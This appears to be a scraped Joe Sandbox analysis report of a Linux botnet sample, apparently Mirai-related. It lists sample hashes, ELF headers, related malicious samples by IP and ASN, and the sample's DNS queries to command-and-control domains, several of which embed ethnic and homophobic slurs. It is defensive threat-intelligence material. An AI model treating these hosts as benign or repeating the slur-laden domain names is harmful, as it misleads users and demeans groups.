90.213.0.189	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
152.139.201.125	unknown	Chile	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
42.2.200.162	bZh282hgN7	Get hash	malicious	Mirai	Browse
42.2.200.162	K1kUt3MxkS	Get hash	malicious	Mirai	Browse
67.90.86.120	DEMONS.arm7	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
infectedchink.pirate	nIl2wyif6Q.elf	Get hash	malicious	Unknown	Browse	77.105.135.60
	CMgd5ZVG2N.elf	Get hash	malicious	Unknown	Browse	204.76.203.15
	ck4L513fGM.elf	Get hash	malicious	Unknown	Browse	5.181.80.60

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UUNETUS	jydeTkHxMv.elf	Get hash	malicious	Unknown	Browse	96.244.95.126
	YEFRJJNJiL.elf	Get hash	malicious	Gafgyt, Mirai, Okiru	Browse	146.1.94.57
	SecuriteInfo.com.Linux.Siggen.9999.8861.1379.elf	Get hash	malicious	Mirai	Browse	100.53.33.187
	SecuriteInfo.com.Linux.Siggen.9999.6095.9527.elf	Get hash	malicious	Mirai	Browse	98.119.98.5
	SecuriteInfo.com.Linux.Siggen.9999.3716.19012.elf	Get hash	malicious	Mirai	Browse	63.30.87.167
	file.exe	Get hash	malicious	Phorpiex	Browse	100.67.22.76
	file.exe	Get hash	malicious	Phorpiex	Browse	100.70.71.70
	https://www.soap2day.support/js	Get hash	malicious	Phisher	Browse	146.190.128.202
	file.exe	Get hash	malicious	Phorpiex	Browse	100.109.5.135
	https://dodgeoptify.com/	Get hash	malicious	Unknown	Browse	146.190.69.40
ROSTELECOM-ASRU	nIl2wyif6Q.elf	Get hash	malicious	Unknown	Browse	78.37.20.121
	bexq6dM6iT.exe	Get hash	malicious	Unknown	Browse	217.15.164.206
	YEFRJJNJiL.elf	Get hash	malicious	Gafgyt, Mirai, Okiru	Browse	46.159.71.172
	SecuriteInfo.com.Linux.Mirai.8587.19636.7995.elf	Get hash	malicious	Mirai	Browse	95.189.76.78
	SecuriteInfo.com.Linux.Siggen.9999.6095.9527.elf	Get hash	malicious	Mirai	Browse	31.181.92.26
	file.exe	Get hash	malicious	Phorpiex	Browse	178.45.178.213
	file.exe	Get hash	malicious	Phorpiex	Browse	82.162.183.217
	file.exe	Get hash	malicious	Phorpiex	Browse	77.35.163.86
	QvTbUiFWlo.elf	Get hash	malicious	Mirai	Browse	5.142.67.27
	SecuriteInfo.com.Linux.Siggen.9999.14022.17442.elf	Get hash	malicious	Mirai	Browse	37.79.205.215
MISNETUS	sora.ppc.elf	Get hash	malicious	Unknown	Browse	69.186.20.194
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	69.186.49.124
	botx.x86.elf	Get hash	malicious	Mirai	Browse	69.186.89.99
	xd.x86.elf	Get hash	malicious	Mirai	Browse	76.8.184.198
	ZeHA1CMTQq.elf	Get hash	malicious	Mirai	Browse	69.186.145.128
	mirai.mpsl.elf	Get hash	malicious	Mirai	Browse	69.190.123.198
	arm7-20240709-0417.elf	Get hash	malicious	Mirai	Browse	69.191.44.15
	addvXQnjp3.elf	Get hash	malicious	Unknown	Browse	69.185.41.174
	SR9qYL1hLF.elf	Get hash	malicious	Mirai, Moobot	Browse	69.191.20.48
	gI7kdes69D.elf	Get hash	malicious	Mirai	Browse	69.186.67.172

Process:	/tmp/XHrUkAemNj.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	267
Entropy (8bit):	3.226059872903111
Encrypted:	false
SSDEEP:	6:YHgcaFF1CT/VWcaFF1VqY/VfKoO/VNfiY/VH:YH9a0Naal
MD5:	4DF70FA491CCD72CD64A60E26A6DE5D7
SHA1:	AF4DD6598EEBFE50B55A049161FAC5E9514192EE
SHA-256:	A3FA8835B336D902194C2CDE690CE423577AD4B82054B979C72F5E0519CCFC04
SHA-512:	73E71B0585F554F71239D6F90057128F11BE7F886A0D6C1DB0E7D46651349F636A2DB085B200000F065F7737BCF67FD468EADB3737937762110A9C1FB716D4C1
Malicious:	false
Reputation:	low
Preview:	80000000-80010000 r-xp 00000000 fd:00 531563 /tmp/..80011000-80012000 rw-p 0000f000 fd:00 531563 /tmp/..80012000-80014000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.320874448366754
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	XHrUkAemNj.elf
File size:	63'900 bytes
MD5:	e57328d6ca68608220565817bdb579a1
SHA1:	abf4cef8bf3a68be1cf7ff9be64bac256eec93ed
SHA256:	cc7b778db3a4f38f6bdfa51c4ff6ba9d394b98f35da298695619194b889b9005
SHA512:	7dfec36917a56e200fce712550c330668ed7332e932abb02ef994b74a45ce4f8fee59c1e0128e78ad12a9d8b6c05947f1c67a36ccbda5265b255eb3b0d0a4ec3
SSDEEP:	1536:Gl7wcjpKjy58veAyZv3HqYHTtDGAM2DW8LTEgyPpq:Gl7wcT8veAyZPKYZGAhDMBq
TLSH:	98533AD6A400EDBCFD0EAABAC91A8F00B62877545B530F17B76AFDE35C31098DD19942
File Content Preview:	.ELF.......................D...4.........4. ...(.................................. ........$...$...$...\|.......... .dt.Q............................NV..a....da.....N^NuNV..J9....f>"y...< QJ.g.X.#....<N."y...< QJ.f.A.....J.g.Hy... N.X.........N^NuNV..N^NuN

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	63460
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0xe60a	0x0	0x6	AX	4
.fini	PROGBITS	0x8000e6b2	0xe6b2	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x8000e6c0	0xe6c0	0xf5e	0x0	0x2	A	2
.ctors	PROGBITS	0x80011624	0xf624	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x8001162c	0xf62c	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x80011634	0xf634	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x80011638	0xf638	0x168	0x0	0x3	WA	4
.bss	NOBITS	0x800117a0	0xf7a0	0x1194	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf7a0	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0xf61e	0xf61e	6.3577	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0xf624	0x80011624	0x80011624	0x17c	0x1310	0.9067	0x6	RW	0x2000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report XHrUkAemNj.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0171px (deleted)

/tmp/qemu-open.1CoxWx (deleted)

/tmp/qemu-open.2uIibx (deleted)

/tmp/qemu-open.3EccOy (deleted)

/tmp/qemu-open.43E8sx (deleted)

/tmp/qemu-open.4P2w5x (deleted)

/tmp/qemu-open.52qXBv (deleted)

/tmp/qemu-open.5DQ5Xv (deleted)

/tmp/qemu-open.5eqHOy (deleted)

/tmp/qemu-open.6FuCSu (deleted)

/tmp/qemu-open.6jXXAw (deleted)

/tmp/qemu-open.7YGDLv (deleted)

/tmp/qemu-open.7hjpHy (deleted)

/tmp/qemu-open.7iT92y (deleted)

/tmp/qemu-open.7m4f6y (deleted)

/tmp/qemu-open.86ks0u (deleted)

/tmp/qemu-open.93Jl1w (deleted)

/tmp/qemu-open.98Kyzy (deleted)

/tmp/qemu-open.9B8gFu (deleted)

/tmp/qemu-open.9eP26y (deleted)

/tmp/qemu-open.AJViCy (deleted)

/tmp/qemu-open.AKG9dw (deleted)

/tmp/qemu-open.AQtIRx (deleted)

/tmp/qemu-open.Bge4Vv (deleted)

/tmp/qemu-open.Bo0G8v (deleted)

/tmp/qemu-open.Bzi8ly (deleted)

/tmp/qemu-open.COjzZv (deleted)

/tmp/qemu-open.EM6GGv (deleted)

/tmp/qemu-open.EP87Xx (deleted)

/tmp/qemu-open.EZMCSu (deleted)

/tmp/qemu-open.Ed1jKu (deleted)

/tmp/qemu-open.FarCfv (deleted)

/tmp/qemu-open.GKXuCx (deleted)

/tmp/qemu-open.GO4Vzx (deleted)

Linux Analysis Report
XHrUkAemNj.elf

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 21, 2024 15:30:10.440092087 CEST	192.168.2.23	64.176.6.48	0xf700	Standard query (0)	chinklabs.dyn	A (IP address)	IN (0x0001)	false
Sep 21, 2024 15:30:17.448549986 CEST	192.168.2.23	5.161.109.23	0x65a6	Standard query (0)	dogeatingchink.parody	A (IP address)	IN (0x0001)	false
Sep 21, 2024 15:30:24.453562021 CEST	192.168.2.23	168.235.111.72	0xce9c	Standard query (0)	hiakamai.dyn. [malformed]	256	368	false
Sep 21, 2024 15:30:26.544075966 CEST	192.168.2.23	95.216.99.249	0xd1f9	Standard query (0)	infectedslurs.geek. [malformed]	256	370	false
Sep 21, 2024 15:30:28.573592901 CEST	192.168.2.23	95.216.99.249	0x55e3	Standard query (0)	freethemonkeys.pirate. [malformed]	256	372	false
Sep 21, 2024 15:30:29.603007078 CEST	192.168.2.23	64.176.6.48	0x68e	Standard query (0)	chinklabs.dyn. [malformed]	256	373	false
Sep 21, 2024 15:30:35.610583067 CEST	192.168.2.23	64.176.6.48	0x7934	Standard query (0)	yellowchink.pirate. [malformed]	256	379	false
Sep 21, 2024 15:30:41.613590956 CEST	192.168.2.23	137.220.55.93	0xa8cf	Standard query (0)	infectedchink.pirate	A (IP address)	IN (0x0001)	false
Sep 21, 2024 15:30:47.621444941 CEST	192.168.2.23	194.36.144.87	0x32a4	Standard query (0)	chinklabs.dyn. [malformed]	256	391	false
Sep 21, 2024 15:30:48.660047054 CEST	192.168.2.23	178.254.22.166	0x903a	Standard query (0)	infectedslurs.geek. [malformed]	256	393	false
Sep 21, 2024 15:30:55.667515993 CEST	192.168.2.23	152.53.15.127	0xaa20	Standard query (0)	hiakamai.dyn. [malformed]	256	399	false
Sep 21, 2024 15:30:56.680718899 CEST	192.168.2.23	194.36.144.87	0xe319	Standard query (0)	infectedslurs.geek. [malformed]	256	400	false
Sep 21, 2024 15:30:58.694169998 CEST	192.168.2.23	81.169.136.222	0x8362	Standard query (0)	infectedchink.pirate	A (IP address)	IN (0x0001)	false
Sep 21, 2024 15:31:01.437472105 CEST	192.168.2.23	178.254.22.166	0xfbce	Standard query (0)	netfags.geek. [malformed]	256	405	false
Sep 21, 2024 15:31:09.235234022 CEST	192.168.2.23	5.161.109.23	0xd1e2	Standard query (0)	freethemonkeys.pirate	A (IP address)	IN (0x0001)	false
Sep 21, 2024 15:31:16.980019093 CEST	192.168.2.23	5.161.109.23	0xc130	Standard query (0)	w3d0ntlikebot5.parody	A (IP address)	IN (0x0001)	false
Sep 21, 2024 15:31:24.724816084 CEST	192.168.2.23	51.254.162.59	0x85f8	Standard query (0)	himrresearcher.dyn. [malformed]	256	429	false
Sep 21, 2024 15:31:32.460408926 CEST	192.168.2.23	64.176.6.48	0xbfbc	Standard query (0)	hiakamai.dyn. [malformed]	256	436	false
Sep 21, 2024 15:31:38.478549957 CEST	192.168.2.23	185.232.68.212	0xe5fc	Standard query (0)	netfags.geek. [malformed]	256	442	false
Sep 21, 2024 15:31:41.187647104 CEST	192.168.2.23	65.21.1.106	0xe4d3	Standard query (0)	himrresearcher.dyn. [malformed]	256	445	false
Sep 21, 2024 15:31:55.941123009 CEST	192.168.2.23	178.254.22.166	0xcbc5	Standard query (0)	freethemonkeys.pirate. [malformed]	256	460	false
Sep 21, 2024 15:32:01.966099024 CEST	192.168.2.23	194.36.144.87	0x3c8f	Standard query (0)	freethewind.parody. [malformed]	256	466	false
Sep 21, 2024 15:32:04.668143988 CEST	192.168.2.23	5.161.109.23	0xc796	Standard query (0)	burnthe.libre. [malformed]	256	468	false
Sep 21, 2024 15:32:12.390800953 CEST	192.168.2.23	65.21.1.106	0xa48b	Standard query (0)	infectedchink.pirate	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 21, 2024 15:30:26.570595026 CEST	95.216.99.249	192.168.2.23	0xd1f9	Format error (1)	infectedslurs.geek. [malformed]	none	none	256	370	false
Sep 21, 2024 15:30:28.599816084 CEST	95.216.99.249	192.168.2.23	0x55e3	Format error (1)	freethemonkeys.pirate. [malformed]	none	none	256	372	false
Sep 21, 2024 15:30:47.656512976 CEST	194.36.144.87	192.168.2.23	0x32a4	Format error (1)	chinklabs.dyn. [malformed]	none	none	256	392	false
Sep 21, 2024 15:30:55.678172112 CEST	152.53.15.127	192.168.2.23	0xaa20	Format error (1)	hiakamai.dyn. [malformed]	none	none	256	400	false
Sep 21, 2024 15:30:56.690821886 CEST	194.36.144.87	192.168.2.23	0xe319	Format error (1)	infectedslurs.geek. [malformed]	none	none	256	401	false
Sep 21, 2024 15:30:58.721496105 CEST	81.169.136.222	192.168.2.23	0x8362	No error (0)	infectedchink.pirate		77.105.135.60	A (IP address)	IN (0x0001)	false
Sep 21, 2024 15:31:41.227358103 CEST	65.21.1.106	192.168.2.23	0xe4d3	Format error (1)	himrresearcher.dyn. [malformed]	none	none	256	445	false
Sep 21, 2024 15:32:02.629044056 CEST	194.36.144.87	192.168.2.23	0x3c8f	Format error (1)	freethewind.parody. [malformed]	none	none	256	466	false
Sep 21, 2024 15:32:12.419883966 CEST	65.21.1.106	192.168.2.23	0xa48b	No error (0)	infectedchink.pirate		77.105.135.60	A (IP address)	IN (0x0001)	false

Start time (UTC):	13:30:08
Start date (UTC):	21/09/2024
Path:	/tmp/XHrUkAemNj.elf
Arguments:	/tmp/XHrUkAemNj.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	13:30:09
Start date (UTC):	21/09/2024
Path:	/tmp/XHrUkAemNj.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Start time (UTC):	13:30:10
Start date (UTC):	21/09/2024
Path:	/tmp/XHrUkAemNj.elf
Arguments:	-
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre